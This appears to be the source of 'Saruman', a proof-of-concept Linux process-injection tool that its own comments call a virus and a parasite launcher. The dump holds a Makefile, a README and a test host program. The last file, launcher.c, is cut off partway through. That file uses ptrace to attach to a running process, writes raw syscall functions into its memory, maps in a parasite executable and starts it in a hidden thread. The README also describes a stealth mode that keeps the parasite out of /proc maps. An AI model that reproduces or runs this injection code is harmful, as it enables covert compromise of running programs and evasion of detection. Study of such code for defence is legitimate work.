[
  {
    "path": "Makefile",
    "content": "all: launcher \nlauncher: launcher.o \n\tgcc -g launcher.o -o launcher\nlauncher.o: launcher.c\n\tgcc -DDEBUG -g -c launcher.c\nclean:\n\trm -f *.o launcher saruman parasite\n\n\n"
  },
  {
    "path": "README.md",
    "content": "Saruman v0.1 (Ryan O'Neill) elfmaster@zoho.com\n\nType make to compile launcher (It will also try to compile a parasite.c file which\nis for you too supply). Make sure your parasite executable is compiled -fpic -pie\n\n./launcher <pid> <parasite_executable> <parasite_args, [arg1, arg2, argN]> \n\nNOTE: In this version Saruman doesn't yet support injecting a program that requires command line args\nbecause it is early POC. So <parasite_args> will not actually accept args yet.\n\n./launcher --no-dlopen <pid> <parasite_executable>\n\nWhen using --no-dlopen it uses a more stealth technique of loading the executable\nso that it doesn't show up as /path/to/parasite.exe in the /proc maps file.\nCurrently this has some bugs and won't work with more complex parasites (To be fixed)\n"
  },
  {
    "path": "host.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(void)\n{\n\tint i, j = 0;\n\n\tfor(;;) {\n\t\tprintf(\"I am a host (Hopefully I'm not infected)\\n\");\n\t\tfor (i = 0; i < 500000000; i++) j += 8;\n\t}\n\texit(0);\n}\n\t\n"
  },
  {
    "path": "launcher.c",
    "content": "/* * This source code serves as the parasite launcher for\n * the Saruman Virus. \n * <elfmaster@zoho.com>\n */\n\n#include \"saruman.h\"\n#include <sys/time.h>\n#include <sys/wait.h>\n\n#define STACK_TOP(x) (x - STACK_SIZE)\n#define __BREAKPOINT__ __asm__ __volatile__(\"int3\"); \n#define __RETURN_VALUE__(x) __asm__ __volatile__(\"mov %0, %%rax\\n\" :: \"g\"(x))\n\n#define MAX_PATH 512\n#define TMP_PATH \"/tmp/.parasite.elf\"\n\n\n/*\n * Any functions that we inject as shellcode into a process image\n * should have the __PAYLOAD_ATTRIBUTES__, which are defined in\n * saruman.h as __attribute__((align(8), __always_inline__))\n * __PAYLOAD_KEYWORDS__ is defined as static int volatile\n */\n\n __PAYLOAD_KEYWORDS__ int  create_thread(void (*)(void *), void *, unsigned long) __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ int load_exec(const char *,uint64_t,uint64_t,uint64_t,uint64_t,uint64_t)\t __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *, void *) \t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ long evil_ptrace(long, long, void *, void *) \t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ void * evil_mmap(void *, unsigned long, unsigned long, unsigned long, long, unsigned long) __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void *, uint64_t, void *) \t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ long evil_open(const char *, unsigned long) \t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ int evil_fstat(long, struct stat *) \t\t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ long evil_lseek(long, long, unsigned int)\t\t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ int evil_read(long, char *, unsigned long)\t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ size_t evil_write(long, void *, unsigned long)\t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ int evil_brk(void *addr)\t\t\t\t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ int evil_mprotect(void *, size_t, int)\t\t\t  __PAYLOAD_ATTRIBUTES__;\n __PAYLOAD_KEYWORDS__ int SYS_mprotect(void *, size_t, int)\t\t\t  __PAYLOAD_ATTRIBUTES__;\n\nvoid dummy_fn(void);\nint call_fn(functionPayloads_t func, handle_t *, uint64_t);\nvoid *heapAlloc(size_t);\nuint8_t * create_fn_shellcode(void (*)(), size_t);\nvoid prepare_fn_payloads(payloads_t *, handle_t *h);\nint map_elf_binary(handle_t *, const char *);\nint fixup_got(handle_t *);\nstruct linking_info *get_reloc_data(handle_t *);\nElf64_Addr resolve_symbol(char *, uint8_t *);\nElf64_Addr get_libc_addr(int);\nchar * get_section_index(int, uint8_t *);\nElf64_Addr get_sym_from_libc(handle_t *, const char *);\n\nint pt_memset(handle_t *, void *target, size_t len);\nint pt_mprotect(handle_t *, void *, size_t, int);\nint pt_create_thread(handle_t *h, void (*)(void *), void *, uint64_t);\n\n\nint pid_detach_direct(pid_t);\nvoid toggle_ptrace_state(handle_t *, int);\nint pid_attach(handle_t *);\nint pid_detach(handle_t *);\nint pid_attach_stateful(handle_t *);\nint pid_detach_stateful(handle_t *);\n\n/*\n * We will use these pointers to calculate\n * the size of our functions. I.E bootstrap_code_size = f2 - f1;\n */\nvoid *f1 = bootstrap_code;\nvoid *f2 = dlopen_load_exec;\nvoid *f3 = load_exec;\nvoid *f4 = evil_read;\nvoid *f5 = evil_open;\nvoid *f6 = evil_brk;\nvoid *f7 = evil_mmap;\nvoid *f8 = evil_lseek;\nvoid *f9 = evil_ptrace;\nvoid *f10 = evil_ptrace;\nvoid *f11 = create_thread;\nvoid *f12 = evil_mprotect;\nvoid *f13 = evil_write;\nvoid *f14 = dummy_fn;\n\nstruct {\n\tint no_dlopen;\n\tint isargs;\n} opts;\n\t\nstruct arginfo {\n\tchar *args[12];\n\tint argc;\n} arginfo;\n\nvoid *heapAlloc(size_t len)\n{\n\tuint8_t *chunk = malloc(len);\n\tif (chunk == NULL) {\n\t\tperror(\"malloc\");\n\t\texit(-1);\n\t}\n\treturn chunk;\n}\n\n/*\n * bootstrap_code just creates an anonymous memory\n * mapping large enough to hold the parasite loading\n * code.\n */\n#pragma GCC push_options\n#pragma GCC optimize (\"O0\")\n\n__PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void * vaddr, uint64_t size, void *stack)\n{\n\tvolatile void *mem;\n\n\t/*\n\t * Create a code segment at 0x00C00000 to store load_exec() function\n\t * and other parasite preparation and loading code.\n\t */\n\tmem = evil_mmap(vaddr, \n\t\t\tPAGE_ALIGN_UP(size), \n\t\t\tPROT_READ|PROT_WRITE|PROT_EXEC, \n\t\t\tMAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, \n\t\t\t-1, 0);\n\t\n\t /*\n         * Create executable segment for ephemeral storage\n         * of code for custom procedure calls done through\n         * ptrace. These include syscalls (Such as SYS_mprotect)\n         * and other simple functions that we want to execute\n         * within the remote process.\n         */\n        mem = evil_mmap((void *)PT_CALL_REGION,\n                        PT_CALL_REGION_SIZE,\n                        PROT_READ|PROT_WRITE|PROT_EXEC,\n                        MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,\n                        -1, 0);\n\n\t/*\n\t * Create stack segment that will be used by the parasite\n\t * thread.\n\t */\n\tmem = evil_mmap(stack,\n\t\t\tSTACK_SIZE,\n\t\t\tPROT_READ|PROT_WRITE,\n\t\t\tMAP_ANONYMOUS|MAP_PRIVATE|MAP_GROWSDOWN,\n\t\t\t-1, 0);\n\t\n\t__RETURN_VALUE__(mem);\n\t//__asm__ __volatile__(\"mov %0, %%rax\\n\" :: \"g\"(mem));\n\n\t__BREAKPOINT__;\n}\n\n/*\n * A version of load_elf_binary() that works with PIE executables\n * only. \n */\n#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag emulates dlopen behaviour \n__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr)\n{\n\tvoid * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;\n\tvoid *handle = (void *)0xfff; //initialized for debugging\n\thandle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);\n\t__RETURN_VALUE__(handle);\n\t__BREAKPOINT__;\n}\n/* \n * A simplified load_elf_binary() function that loads the\n * position independent parasite executable into the remote\n * process address space (But would work with non PIE too)\n */\n\t\n__PAYLOAD_KEYWORDS__ int load_exec(const char *path, \n\t\t\t           uint64_t textVaddr, \n\t\t\t\t   uint64_t dataVaddr, \n\t\t\t\t   uint64_t textSize, \n\t\t\t  \t   uint64_t dataSize,\n\t\t\t\t   uint64_t dataOffset)\n{\n\tuint64_t map_addr, brk_addr;\n\tuint32_t off;\n\tuint8_t *data;\n\tvolatile void *m1, *m2;\n\tvolatile int fd;\n\t\n\tfd = evil_open(path, O_RDONLY);\n\tm1 = evil_mmap((void *)_PAGE_ALIGN(textVaddr), \n\t\t\tPAGE_ROUND(textSize), \n\t\t\tPROT_READ|PROT_WRITE|PROT_EXEC, \n\t\t\tMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,\n\t\t\t-1, 0);\n\t\n\t/*\n\t * Read in text segment to m1\n\t */\t\n\tevil_read(fd, (uint8_t *)m1, textSize);\n\n\tm2 = evil_mmap((void *)_PAGE_ALIGN(dataVaddr),\n\t\t\tPAGE_ROUND(dataSize) + PAGE_SIZE,\n\t\t\tPROT_READ|PROT_WRITE,\n\t\t\tMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,\n\t\t\t-1, 0);\n\t\n\t/*\n\t * dataOffset is offset from beginning of file to data segment\n\t */\n\tevil_lseek(fd, dataOffset, SEEK_SET);\n\t\n\t/*\n\t * off is distance from beginning of page aligned data vaddr to start of data p_vaddr\n\t */\n\toff = dataVaddr - _PAGE_ALIGN(dataVaddr);\n\tdata = (uint8_t *)(uint64_t)(m2 + off);\n\t/*\n\t * Read in data segment to m2\n\t */\n\tevil_read(fd, data, dataSize);\n\t\n\tbrk_addr = _PAGE_ALIGN(dataVaddr) + dataSize;\n\tevil_brk((void *)PAGE_ROUND(brk_addr));\n\n\t__RETURN_VALUE__(m2);\n\t__BREAKPOINT__;\n\n}\n\n__PAYLOAD_KEYWORDS__ int evil_read(long fd, char *buf, unsigned long len)\n{\n         long ret;\n        __asm__ volatile(\n                        \"mov %0, %%rdi\\n\"\n                        \"mov %1, %%rsi\\n\"\n                        \"mov %2, %%rdx\\n\"\n                        \"mov $0, %%rax\\n\"\n                        \"syscall\" : : \"g\"(fd), \"g\"(buf), \"g\"(len));\n        asm(\"mov %%rax, %0\" : \"=r\"(ret));\n        return (int)ret;\n}\n\n__PAYLOAD_KEYWORDS__ long evil_open(const char *path, unsigned long flags) \n{\n        long ret;\n        __asm__ volatile(\n                        \"mov %0, %%rdi\\n\"\n                        \"mov %1, %%rsi\\n\"\n                        \"mov $2, %%rax\\n\"\n                        \"syscall\" : : \"g\"(path), \"g\"(flags));\n\t\n        asm (\"mov %%rax, %0\" : \"=r\"(ret));              \n        return ret;\n}\n\n\n__PAYLOAD_KEYWORDS__ int evil_brk(void *addr)\n{\n\tlong ret;\n\t__asm__ volatile(\n\t\t\t\"mov %0, %%rdi\\n\"\n\t\t\t\"mov $12, %%rax\\n\"\n\t\t\t\"syscall\" : : \"g\"(addr));\n\tasm(\"mov %%rax, %0\" : \"=r\"(ret));\n\treturn (int)ret;\n}\n\n\t\n__PAYLOAD_KEYWORDS__ void * evil_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)\n{\n        long mmap_fd = fd;\n        unsigned long mmap_off = off;\n        unsigned long mmap_flags = flags;\n        unsigned long ret;\n\n        __asm__ volatile(\n                         \"mov %0, %%rdi\\n\"\n                         \"mov %1, %%rsi\\n\"\n                         \"mov %2, %%rdx\\n\"\n                         \"mov %3, %%r10\\n\"\n                         \"mov %4, %%r8\\n\"\n                         \"mov %5, %%r9\\n\"\n                         \"mov $9, %%rax\\n\"\n                         \"syscall\\n\" : : \"g\"(addr), \"g\"(len), \"g\"(prot), \"g\"(flags), \"g\"(mmap_fd), \"g\"(mmap_off));\n        asm (\"mov %%rax, %0\" : \"=r\"(ret));              \n        return (void *)ret;\n}\n\n__PAYLOAD_KEYWORDS__ long evil_lseek(long fd, long offset, unsigned int whence)\n{\n        long ret;\n        __asm__ volatile(\n                        \"mov %0, %%rdi\\n\"\n                        \"mov %1, %%rsi\\n\"\n                        \"mov %2, %%rdx\\n\"\n                        \"mov $8, %%rax\\n\"\n                        \"syscall\" : : \"g\"(fd), \"g\"(offset), \"g\"(whence));\n        asm(\"mov %%rax, %0\" : \"=r\"(ret));\n        return ret;\n\n}\n\n__PAYLOAD_KEYWORDS__ long evil_ptrace(long request, long pid, void *addr, void *data) \n\n{\n        long ret;\n\n        __asm__ volatile(\n                        \"mov %0, %%rdi\\n\"\n                        \"mov %1, %%rsi\\n\"\n                        \"mov %2, %%rdx\\n\"\n                        \"mov %3, %%r10\\n\"\n                        \"mov $101, %%rax\\n\"\n                        \"syscall\" : : \"g\"(request), \"g\"(pid), \"g\"(addr), \"g\"(data));\n        asm(\"mov %%rax, %0\" : \"=r\"(ret));\n        \n        return ret;\n}\n\n__PAYLOAD_KEYWORDS__ int evil_fstat(long fd, struct stat *buf)\n{\n\tlong ret;\n\t\n\t__asm__ volatile(\n\t\t\t\"mov %0, %%rdi\\n\"\n\t\t\t\"mov %1, %%rsi\\n\"\n\t\t\t\"mov $5, %%rax\\n\"\n\t\t\t\"syscall\" : : \"g\"(fd), \"g\"(buf));\n\tasm(\"mov %%rax, %0\" : \"=r\"(ret));\n\t\n\treturn ret;\n}\n\n__PAYLOAD_KEYWORDS__ int create_thread(void (*fn)(void *), void *data, unsigned long stack)\n{\n        long retval;\n        void **newstack;\n   //   unsigned int fnAddr = (unsigned int)(uintptr_t)fn;\n    //  fn = (void (*)(void *))((uintptr_t)fnAddr & ~(uint32_t)0x0);\n        \n        newstack = (void **)stack;\n        *--newstack = data;\n        \n        __asm__ __volatile__(\n                \"syscall        \\n\\t\"\n                \"test %0,%0     \\n\\t\"        \n                \"jne 1f         \\n\\t\"        \n                \"call *%3       \\n\\t\"       \n                \"mov %2,%0      \\n\\t\"\n                \"xor %%r10, %%r10\\n\\t\"\n                \"xor %%r8, %%r8\\n\\t\"\n                \"xor %%r9, %%r9 \\n\\t\"\n                \"int $0x80      \\n\\t\"       \n                \"1:\\t\"\n                :\"=a\" (retval)\n                :\"0\" (__NR_clone),\"i\" (__NR_exit),\n                 \"g\" (fn),\n                 \"D\" (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | SIGCHLD),\n                 \"S\" (newstack));\n\n        if (retval < 0) {\n                retval = -1;\n\t\t__RETURN_VALUE__(retval);\n        }\n\t__BREAKPOINT__;\n}\n\n__PAYLOAD_KEYWORDS__ int evil_mprotect(void * addr, unsigned long len, int prot)\n{\n        volatile unsigned long ret;\n        __asm__ volatile(\n                        \"mov %0, %%rdi\\n\"\n                        \"mov %1, %%rsi\\n\"\n                        \"mov %2, %%rdx\\n\"\n                        \"mov $10, %%rax\\n\"\n                        \"syscall\" : : \"g\"(addr), \"g\"(len), \"g\"(prot));\n     \n        __asm__ volatile(\"mov %%rax, %0\" : \"=r\"(ret));\n \t\n}\n\n__PAYLOAD_KEYWORDS__ int SYS_mprotect(void *addr, unsigned long len, int prot)\n{\n\tint ret = evil_mprotect(addr, len, prot);\n\t\n\t__RETURN_VALUE__(ret);\n\t__BREAKPOINT__;\n}\n\n\n__PAYLOAD_KEYWORDS__ size_t evil_write(long fd, void *buf, unsigned long len)\n{\n        long ret;\n        __asm__ volatile(\n                        \"mov %0, %%rdi\\n\"\n                        \"mov %1, %%rsi\\n\"\n                        \"mov %2, %%rdx\\n\"\n                        \"mov $1, %%rax\\n\"\n                        \"syscall\" : : \"g\"(fd), \"g\"(buf), \"g\"(len));\n        asm(\"mov %%rax, %0\" : \"=r\"(ret));\n        return ret;\n}\n#pragma GCC pop_options\n\n/*\n * This function is only here so we can calculate\n * the size of the previous function (create_thread)\n */\nvoid dummy_fn(void)\n{\n\t\n}\n\n\nint waitpid2(pid_t pid, int *status, int options)\n{\n        pid_t ret;\n\n        do {\n                ret = waitpid(pid, status, options);\n        } while (ret == -1 && errno == EINTR);\n\n        return ret;\n}\n\nvoid toggle_ptrace_state(handle_t *h, int state)\n{\n\tswitch (state) {\n\t\tcase PT_ATTACHED:\n\t\t\tprintf(\"[+] PT_ATTACHED -> %d\\n\", h->tasks.pid);\n\t\t\th->tasks.state &= ~PT_DETACHED;\n\t\t\th->tasks.state |= PT_ATTACHED;\n\t\t\tbreak;\n\t\tcase PT_DETACHED:\n\t\t\tprintf(\"[+] PT_DETACHED -> %d\\n\", h->tasks.pid);\n\t\t\th->tasks.state &= ~PT_ATTACHED;\n\t\t\th->tasks.state |= PT_DETACHED;\n\t\t\tbreak;\n\t}\n}\n\nint backup_regs_struct(handle_t *h)\n{\n\tif (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, &h->orig_pt_reg) < 0) {\n\t\tperror(\"PTRACE_GETREGS\");\n\t\treturn -1;\n\t}\n\tmemcpy((void *)&h->pt_reg, (void *)&h->orig_pt_reg, sizeof(struct user_regs_struct));\n\treturn 0;\n}\n\nint restore_regs_struct(handle_t *h)\n{\n\tif (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, &h->orig_pt_reg) < 0) {\n\t\tperror(\"PTRACE_SETREGS\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\nint pid_attach_direct(pid_t pid)\n{\n        int status;\n\n        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {\n                if (errno) {\n                        fprintf(stderr, \"ptrace: pid_attach() failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n        }\n        do {\n                if (waitpid2(pid, &status, 0) < 0)\n                        goto detach;\n\n                if (!WIFSTOPPED(status))\n                        goto detach;\n\n                if (WSTOPSIG(status) == SIGSTOP)\n                        break;\n\n                if ( ptrace(PTRACE_CONT, pid, 0, WSTOPSIG(status)) == -1 )\n                        goto detach;\n        } while(1);\n\n\tprintf(\"[+] PT_TID_ATTACHED -> %d\\n\", pid);\n        return 0;\n\n\ndetach:\n        fprintf(stderr, \"pid_attach_direct() -> waitpid(): %s\\n\", strerror(errno));\n        pid_detach_direct(pid);\n        return -1;\n}\n\nint pid_detach_direct(pid_t pid)\n{\n\tif (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {\n\t\tif (errno) {\n\t\t\tfprintf(stderr, \"ptrace: pid_detach() failed: %s\\n\", strerror(errno));\n\t\t\treturn -1;\n\t\t}\n\t}\n\tprintf(\"[+] PT_TID_DETACHED -> %d\\n\", pid);\n\treturn 0;\n}\n\nint pid_detach(handle_t *h)\n{\n\tpid_t pid = h->tasks.pid;\n\t\n\tif (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {\n\t\tif (errno) {\n\t\t\tfprintf(stderr, \"ptrace: pid_detach() failed: %s\\n\", strerror(errno));\n\t\t\treturn -1;\n\t\t}\n\t}\n\ttoggle_ptrace_state(h, PT_DETACHED);\n\treturn 0;\n}\n\nint pid_detach_stateful(handle_t *h)\n{\n\tif (h->tasks.state & PT_DETACHED)\n\t\treturn 0;\n\tif (pid_detach(h) < 0)\n\t\treturn -1;\n}\n\n\t\n\t\t\nint pid_attach(handle_t *h)\n{\n\tint status;\n\tpid_t pid = h->tasks.pid;\n\t\n        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {\n\t\tif (errno) {\n                \tfprintf(stderr, \"ptrace: pid_attach() failed: %s\\n\", strerror(errno));\n                \treturn -1;\n\t\t}\n        }\n\tdo {\n\t\tif (waitpid2(pid, &status, 0) < 0) \n\t\t\tgoto detach;\n\t\t\n\t\tif (!WIFSTOPPED(status))\n\t\t\tgoto detach;\n\t\t\n\t\tif (WSTOPSIG(status) == SIGSTOP)\n\t\t\tbreak;\n\t\n\t        if ( ptrace(PTRACE_CONT, pid, 0, WSTOPSIG(status)) == -1 )\n                        goto detach;\n\t} while(1);\n\t\n\ttoggle_ptrace_state(h, PT_ATTACHED);\n\treturn 0;\n\n\ndetach:\n\tfprintf(stderr, \"pid_attach() -> waitpid(): %s\\n\", strerror(errno));\n\tpid_detach(h);\n\treturn -1;\n}\n\nint pid_attach_stateful(handle_t *h)\n{\n\tif(h->tasks.state & PT_ATTACHED)\n\t\treturn 0;\n\t\n\tif (pid_attach(h) < 0)\n\t\treturn -1;\n\n}\n\nint pid_read(int pid, void *dst, const void *src, size_t len)\n{\n\n        int sz = len / sizeof(void *);\n        unsigned char *s = (unsigned char *)src;\n        unsigned char *d = (unsigned char *)dst;\n        long word;\n\n        while (sz-- != 0) {\n                word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);\n                if (word == -1 && errno) {\n\t\t\tfprintf(stderr, \"pid_read failed, pid: %d: %s\\n\", pid, strerror(errno));\n                        return -1;\n                }\n                *(long *)d = word;\n                s += sizeof(long);\n                d += sizeof(long);\n        }\n        \n        return 0;\n}\n\nint pid_write(int pid, void *dest, const void *src, size_t len)\n{\n        size_t rem = len % sizeof(void *);\n        size_t quot = len / sizeof(void *);\n        unsigned char *s = (unsigned char *) src;\n        unsigned char *d = (unsigned char *) dest;\n        \n        while (quot-- != 0) {\n                if ( ptrace(PTRACE_POKEDATA, pid, d, *(void **)s) == -1 )\n                        goto out_error;\n                s += sizeof(void *);\n                d += sizeof(void *);\n        }\n\n        if (rem != 0) {\n                long w;\n                unsigned char *wp = (unsigned char *)&w;\n\n                w = ptrace(PTRACE_PEEKDATA, pid, d, NULL);\n                if (w == -1 && errno != 0) {\n                        d -= sizeof(void *) - rem;\n\n                        w = ptrace(PTRACE_PEEKDATA, pid, d, NULL);\n                        if (w == -1 && errno != 0)\n                                goto out_error;\n\n                        wp += sizeof(void *) - rem;\n                }\n\n                while (rem-- != 0)\n                        wp[rem] = s[rem];\n\n                if (ptrace(PTRACE_POKEDATA, pid, (void *)d, (void *)w) == -1)\n                        goto out_error;\n        }\n\n        return 0;\n\nout_error:\n\tfprintf(stderr, \"pid_write() failed, pid: %d: %s\\n\", pid, strerror(errno));\n        return -1;\n}\n\n/*\n * call_fn() allows one to inject a function\n * (select by functionPayloads_t) into the remote\n * process, and execute it. The return value for\n * the function is stored in payloads.function[func].retval\n */\n#define SLACK_SIZE 32\nint call_fn(functionPayloads_t func, handle_t *h, uint64_t ip)\n{\n\tint i, status, argc;\n\tElf64_Addr entry_point;\n\tuint8_t *shellcode;\n\tuint8_t *sc;\n\tsize_t code_size;\n\tstruct user_regs_struct *pt_reg = &h->pt_reg;\n\n\tshellcode = h->payloads.function[func].shellcode;\n\tcode_size = h->payloads.function[func].size;\n\targc = h->payloads.function[func].argc;\n\t\n\tif (pid_attach_stateful(h) < 0) \n\t\treturn -1;\n\n\tif (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, pt_reg) < 0)\n\t\treturn -1;\n\t\n\t\n\tentry_point = ip ? ip : h->payloads.function[func].target;\n  \t\n\t/* \n\t * Which payload type?\n\t */\n\tswitch(h->payloads.function[func].ptype) {\n\t\tcase _PT_FUNCTION:\n\t\t\tif (pid_write(h->tasks.pid, (void *)entry_point, (void *)shellcode, code_size) < 0)\n\t\t\t\treturn -1;\n\t\t\tbreak;\t\n\t\t\n\t\tcase _PT_SYSCALL:\n\t\t\tsc = (uint8_t *)alloca(ULONG_ROUND(h->payloads.function[func].size) + 16);\n#if DEBUG\n\t\t\tfor (i = 0; i < code_size + 8; i++) {\n\t\t\t\tprintf(\"%02x\", shellcode[i]);\n\t\t\t\tif (i % 32 == 0)\n\t\t\t\t\tprintf(\"\\n\");\n\t\t\t}\n#endif\n\t\t\tmemcpy(sc, shellcode, code_size);\t\t\n\t\t\tfor (i = 0; i < 4; i++)\n\t\t\t\tsc[code_size + i] = 0xCC;\n\t\t\tcode_size += 4;\n\t\t \tif (pid_write(h->tasks.pid, (void *)entry_point, (void *)sc, code_size) < 0)\n                                return -1;\n\t\t\tbreak;\n\t}\n\n\t\t\n\tpt_reg->rip = entry_point;\n\tswitch(argc) {\n\t\tcase 1:\n\t\t\tpt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tpt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];\n\t\t\tpt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tpt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];\n\t\t\tpt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];\n\t\t\tpt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];\n\t\t\tbreak;\n\t\tcase 4:\n\t\t \tpt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];\n                        pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];\n                        pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];\n\t\t\tpt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];\n\t\t\tbreak;\n\t\tcase 5:\n\t\t\tpt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];\n                        pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];\n                        pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];\n                        pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];\n\t\t\tpt_reg->r8 =  (uintptr_t)h->payloads.function[func].args[4];\n\t\t\tbreak;\n\t\tcase 6:\n\t\t\tpt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];\n                        pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];\n                        pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];\n                        pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];\n                        pt_reg->r8 =  (uintptr_t)h->payloads.function[func].args[4];\n\t\t\tpt_reg->r9 =  (uintptr_t)h->payloads.function[func].args[5];\n\t\t\tbreak;\n\t}\n\t\n\tif (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, pt_reg) < 0)\n\t\treturn -1;\n\t\n\tif (ptrace(PTRACE_CONT, h->tasks.pid, NULL, NULL) < 0)\n\t\treturn -1;\n\t\n\twaitpid2(h->tasks.pid, &status, 0);\n\t\n\tif (WSTOPSIG(status) != SIGTRAP) {\n\t\tfprintf(stderr, \"[!] No SIGTRAP received, something went wrong. Signal: %d\\n\", WSTOPSIG(status));\n\t\treturn -1;\n\t}\n\n\t/* Get return value */\n\tif (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, pt_reg) < 0) {\n\t\tperror(\"PTRACE_GETREGS\");\n\t\treturn -1;\n\t}\n\n\th->payloads.function[func].retval = (pt_reg_t)pt_reg->rax;\n\t\n\t\n\treturn 0;\n\n}\n\nint pt_memset(handle_t *h, void *target, size_t len)\n{\n        size_t i;\n        int sz = len / sizeof(void *);\n        uint64_t null = 0UL;\n        uint8_t *s = (uint8_t *)&null;\n        uint8_t *d = (uint8_t *)target;\n        int pid = h->tasks.pid;\n\n        while(sz-- != 0) {\n                long word = ptrace(PTRACE_POKETEXT, pid, d, s);\n                if (word == -1) {\n                        fprintf(stderr, \"ptrace_memset failed, pid: %d: %s\\n\", pid, strerror(errno));\n                        return -1;\n                }\n                d += sizeof(long);\n        }\n        return 0;\n}\n\nint pt_mprotect(handle_t *h, void *addr, size_t len, int prot)\n{\n\tstruct user_regs_struct pt_reg;\n\n\th->payloads.function[SYS_MPROTECT].args[0] = addr; //addr;\n\th->payloads.function[SYS_MPROTECT].args[1] = (void *)(uintptr_t)len;\n\th->payloads.function[SYS_MPROTECT].args[2] = (void *)(uintptr_t)prot;\n\t\n\t\n\tif (call_fn(SYS_MPROTECT, h, PT_CALL_REGION) < 0) {\n\t\tprintf(\"call_fn(SYS_MPROTECT, ...) failed: %s\\n\", strerror(errno));\n\t\treturn -1;\n\t}\n\t\n\treturn (int)h->payloads.function[SYS_MPROTECT].retval;\n}\n\nint pt_create_thread(handle_t *h, void (*fn)(void *), void *data, uint64_t stack)\n{\n\tstruct user_regs_struct pt_reg;\n\t\n\th->payloads.function[CREATE_THREAD].args[0] = (void *)fn;\n\th->payloads.function[CREATE_THREAD].args[1] = data;\n\th->payloads.function[CREATE_THREAD].args[2] = (void *)(uint64_t)stack;\n\n\tif (call_fn(CREATE_THREAD, h, 0) < 0) {\n\t\tprintf(\"call_fn(CREATE_THREAD, ...) failed: %s\\n\", strerror(errno));\n\t\treturn -1;\n\t}\n\t\n\tprintf(\"retval: %llx\\n\", h->payloads.function[CREATE_THREAD].retval);\n\treturn (int)h->payloads.function[CREATE_THREAD].retval;\n}\n\n\nstatic int dlopen_launch_parasite(handle_t *h)\n{\n\tstruct user_regs_struct tid_regs;\n\tint status;\n\tvoid (*entry)(void *) = (void *)h->entryp;\n\ttid_t tid;\n\tDBG_MSG(\"[+] Entry point: %p\\n\", entry);\n\n        if (pid_attach_stateful(h) < 0)\n                return -1;\n\n        /*\n         * zero out stack segment from \n         */\n        pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);\n\n        h->tasks.thread_count = 0;\n\t\n        if ((h->tasks.thread[0] = pt_create_thread(h, entry, NULL, (uintptr_t)h->stack.base)) < 0) {\n                printf(\"[!] pt_create_thread() failed in process %d\\n\", h->tasks.pid);\n                exit(-1);\n        }\n\n        tid = h->tasks.thread[0];\n\n        printf(\"[+] Thread injection succeeded, tid: %d\\n\", h->tasks.thread[0]);\n\tprintf(\"[+] Saruman successfully injected program: %s\\n\", h->path);\n\treturn 0; \n}\n\n\nstatic int launch_parasite(handle_t *h)\n{\n\tstruct user_regs_struct tid_regs;\n\tint status;\n\tvoid (*entry)(void *) = (void (*)(void *))(h->entryp + h->base);\n\ttid_t tid;\n\n\tDBG_MSG(\"[+] Entry point: %p\\n\", entry);\n\n\tif (pid_attach_stateful(h) < 0)\n\t\treturn 